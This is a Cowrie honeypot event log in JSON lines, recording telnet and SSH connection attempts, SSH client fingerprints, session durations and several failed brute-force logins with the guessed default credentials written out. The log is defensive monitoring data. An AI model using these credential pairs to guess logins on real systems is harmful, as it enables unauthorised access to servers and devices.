{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ca04835a9c","protocol":"telnet","message":"New connection: 134.209.8.29:39920 (159.203.135.109:23) [session: 43ca04835a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:43.068411Z"}
{"eventid":"cowrie.session.closed","duration":31.029204845428467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:43.154472Z","src_ip":"194.233.64.34","session":"4140bb6082e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:43.883044Z","src_ip":"150.95.157.171","session":"fabf10aac217","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48234,"dst_ip":"159.203.135.109","dst_port":23,"session":"822bfd84a687","protocol":"telnet","message":"New connection: 134.209.8.29:48234 (159.203.135.109:23) [session: 822bfd84a687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:53.084063Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45632,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c1b502e8aff","protocol":"telnet","message":"New connection: 194.233.64.34:45632 (159.203.135.109:23) [session: 4c1b502e8aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:54.979808Z"}
{"eventid":"cowrie.session.closed","duration":31.477906942367554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:56.229800Z","src_ip":"194.233.64.34","session":"7dc7ac3ada31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.336493253707886,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:59.420461Z","src_ip":"134.209.8.29","session":"822bfd84a687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48236,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d455079f83b","protocol":"telnet","message":"New connection: 134.209.8.29:48236 (159.203.135.109:23) [session: 1d455079f83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:00.612084Z"}
{"eventid":"cowrie.session.closed","duration":38.796175718307495,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:05.985214Z","src_ip":"134.209.8.29","session":"5ab2f067af4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.140042304992676,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:06.751995Z","src_ip":"134.209.8.29","session":"1d455079f83b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.814306020736694,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:07.122984Z","src_ip":"134.209.8.29","session":"a9759cf8662e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.467838764190674,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:10.105577Z","src_ip":"38.54.119.93","session":"df0e2317c6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":47184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d34996e40fe1","protocol":"ssh","message":"New connection: 34.135.200.178:47184 (10.17.0.5:22) [session: d34996e40fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:11.891041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:11.896035Z","src_ip":"34.135.200.178","session":"d34996e40fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:11.931738Z","src_ip":"34.135.200.178","session":"d34996e40fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"test","message":"login attempt [vagrant/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:12.104420Z","src_ip":"34.135.200.178","session":"d34996e40fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:13.142583Z","src_ip":"34.135.200.178","session":"d34996e40fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":45698,"dst_ip":"10.17.0.5","dst_port":22,"session":"2340bfa08110","protocol":"ssh","message":"New connection: 147.50.231.135:45698 (10.17.0.5:22) [session: 2340bfa08110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:18.114450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:18.119911Z","src_ip":"147.50.231.135","session":"2340bfa08110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47360,"dst_ip":"159.203.135.109","dst_port":23,"session":"84655d231dbd","protocol":"telnet","message":"New connection: 134.209.8.29:47360 (159.203.135.109:23) [session: 84655d231dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:19.060711Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:20.191284Z","src_ip":"147.50.231.135","session":"2340bfa08110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678a","message":"login attempt [admin/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:20.986064Z","src_ip":"147.50.231.135","session":"2340bfa08110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:22.253330Z","src_ip":"147.50.231.135","session":"2340bfa08110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102949142456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:22.297541Z","src_ip":"38.54.119.93","session":"d0692674ba01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33536,"dst_ip":"159.203.135.109","dst_port":23,"session":"17dc0bdba72e","protocol":"telnet","message":"New connection: 134.209.8.29:33536 (159.203.135.109:23) [session: 17dc0bdba72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:24.797140Z"}
{"eventid":"cowrie.session.closed","duration":31.535881757736206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:26.515587Z","src_ip":"194.233.64.34","session":"4c1b502e8aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33544,"dst_ip":"159.203.135.109","dst_port":23,"session":"b450ce0a25ce","protocol":"telnet","message":"New connection: 134.209.8.29:33544 (159.203.135.109:23) [session: b450ce0a25ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:27.439625Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.103.31.167","src_port":51650,"dst_ip":"159.203.135.109","dst_port":23,"session":"117e435f6ca0","protocol":"telnet","message":"New connection: 190.103.31.167:51650 (159.203.135.109:23) [session: 117e435f6ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:30.332728Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"684910016505","protocol":"telnet","message":"New connection: 134.209.8.29:55412 (159.203.135.109:23) [session: 684910016505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:32.221673Z"}
{"eventid":"cowrie.session.closed","duration":50.63915276527405,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:33.707304Z","src_ip":"134.209.8.29","session":"43ca04835a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e95a0b83655","protocol":"telnet","message":"New connection: 134.209.8.29:55416 (159.203.135.109:23) [session: 7e95a0b83655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:34.261817Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":54474,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1250e851353","protocol":"ssh","message":"New connection: 150.95.157.171:54474 (10.17.0.5:22) [session: d1250e851353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:36.318606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:36.331570Z","src_ip":"150.95.157.171","session":"d1250e851353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:36.486297Z","src_ip":"150.95.157.171","session":"d1250e851353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.782242059707642,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:37.003792Z","src_ip":"134.209.8.29","session":"684910016505","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpass","message":"login attempt [root/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:37.118036Z","src_ip":"150.95.157.171","session":"d1250e851353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:38.282113Z","src_ip":"150.95.157.171","session":"d1250e851353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45976,"dst_ip":"159.203.135.109","dst_port":23,"session":"96d5fc1d28cd","protocol":"telnet","message":"New connection: 194.233.64.34:45976 (159.203.135.109:23) [session: 96d5fc1d28cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:41.878991Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4802ef3fe573","protocol":"telnet","message":"New connection: 194.233.64.34:45974 (159.203.135.109:23) [session: 4802ef3fe573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:42.376689Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53370,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9d644f98d3","protocol":"telnet","message":"New connection: 134.209.8.29:53370 (159.203.135.109:23) [session: 7f9d644f98d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:43.205022Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":5494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b48ad0d31a5","protocol":"ssh","message":"New connection: 205.254.166.101:5494 (159.203.135.109:22) [session: 4b48ad0d31a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:43.290288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:43.298120Z","src_ip":"205.254.166.101","session":"4b48ad0d31a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:43.505902Z","src_ip":"205.254.166.101","session":"4b48ad0d31a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.691385269165039,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:44.023969Z","src_ip":"190.103.31.167","session":"117e435f6ca0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz1wsx2","message":"login attempt [ubuntu/Qaz1wsx2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:44.368099Z","src_ip":"205.254.166.101","session":"4b48ad0d31a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:45.578102Z","src_ip":"205.254.166.101","session":"4b48ad0d31a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53372,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62e9acfbc11","protocol":"telnet","message":"New connection: 134.209.8.29:53372 (159.203.135.109:23) [session: a62e9acfbc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:46.595763Z"}
{"eventid":"cowrie.session.closed","duration":1.663712501525879,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:48.259358Z","src_ip":"134.209.8.29","session":"a62e9acfbc11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.161206960678101,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:49.366111Z","src_ip":"134.209.8.29","session":"7f9d644f98d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8535da953676","protocol":"telnet","message":"New connection: 134.209.8.29:52176 (159.203.135.109:23) [session: 8535da953676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:57.693347Z"}
{"eventid":"cowrie.session.closed","duration":38.67359924316406,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:57.734213Z","src_ip":"134.209.8.29","session":"84655d231dbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":44990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ebe1efbc2c","protocol":"ssh","message":"New connection: 34.135.200.178:44990 (10.17.0.5:22) [session: f9ebe1efbc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:58.965039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:58.972816Z","src_ip":"34.135.200.178","session":"f9ebe1efbc2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:59.007273Z","src_ip":"34.135.200.178","session":"f9ebe1efbc2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123@","message":"login attempt [admin/qwe123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:26:59.178411Z","src_ip":"34.135.200.178","session":"f9ebe1efbc2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:00.217603Z","src_ip":"34.135.200.178","session":"f9ebe1efbc2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.69440984725952,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:04.491428Z","src_ip":"134.209.8.29","session":"17dc0bdba72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34008,"dst_ip":"10.17.0.5","dst_port":23,"session":"e23e0635d7fa","protocol":"telnet","message":"New connection: 38.54.119.93:34008 (10.17.0.5:23) [session: e23e0635d7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:08.195468Z"}
